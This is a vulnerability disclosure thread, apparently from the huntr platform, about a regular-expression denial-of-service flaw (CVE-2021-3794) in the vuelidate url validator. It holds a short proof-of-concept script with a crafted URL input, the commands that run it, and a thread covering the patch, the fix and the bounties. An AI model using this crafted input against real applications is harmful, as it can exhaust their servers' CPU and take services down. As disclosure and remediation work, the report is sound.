Inefficient Regular Expression Complexity in vuelidate/vuelidate

0

✓ **Valid** Reported on Sep 1st 2021

✍️ Description

A ReDoS (regular expression denial of service) flaw was found in the `@vuelidate/validators` package. An attacker that is able to provide crafted input to the url(input) function may cause an application to consume an excessive amount of CPU.

🕵️ Proof of Concept

Create the following poc.mjs

```
import { url } from '@vuelidate/validators/dist/raw.esm.js';
var time = Date.now();
url('http://foobar.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.0
var time_cost = Date.now() - time;
console.log("Time taken to validate : " + time_cost+" ms")
```

Execute the following command in another terminal:

```
npm i @vuelidate/validators
node poc.mjs
```

Check the Output:

```
Time taken to validate : 23153 ms
```

💥 Impact

This vulnerability is capable of exhausting system resources and leads to crashes. Ideally, validation should be done within 1-10 milliseconds, but in the above case, it's 23 sec. 📍 Location url.js#L3

Occurrences

JS url.js L3

CVE
CVE-2021-3794
(Published)

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
High (7.5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by
ready-research
@ready-research
pro ⌄

Fixed by
ready-research
@ready-research
pro ⌄

Chat with us

ready-research submitted a **patch** a year ago

We have contacted a member of the **vuelidate** team and are waiting to hear back a year ago

ready-research modified the report a year ago

ready-research a year ago   Researcher

After applying the patch output is
```
Time taken to validate : 4 ms
```

Z-Old a year ago   Admin

Hey ready-research, I've emailed the repo's maintainer for you.

ready-research modified the report a year ago

Dobromir Hristov validated this vulnerability a year ago

ready-research has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Dobromir Hristov marked this as fixed with commit **1f0ca3** a year ago

ready-research has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Dobromir a year ago   Maintainer

The fix comes from https://gist.github.com/dperini/729294, but I gave credit to the developer
who found the issue.

ready-research a year ago   Researcher

@Dobromir Thank you so much for the confirmation and credits.

Jamie Slome a year ago   Admin

CVE published! 🎉

CVE-2021-3794

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team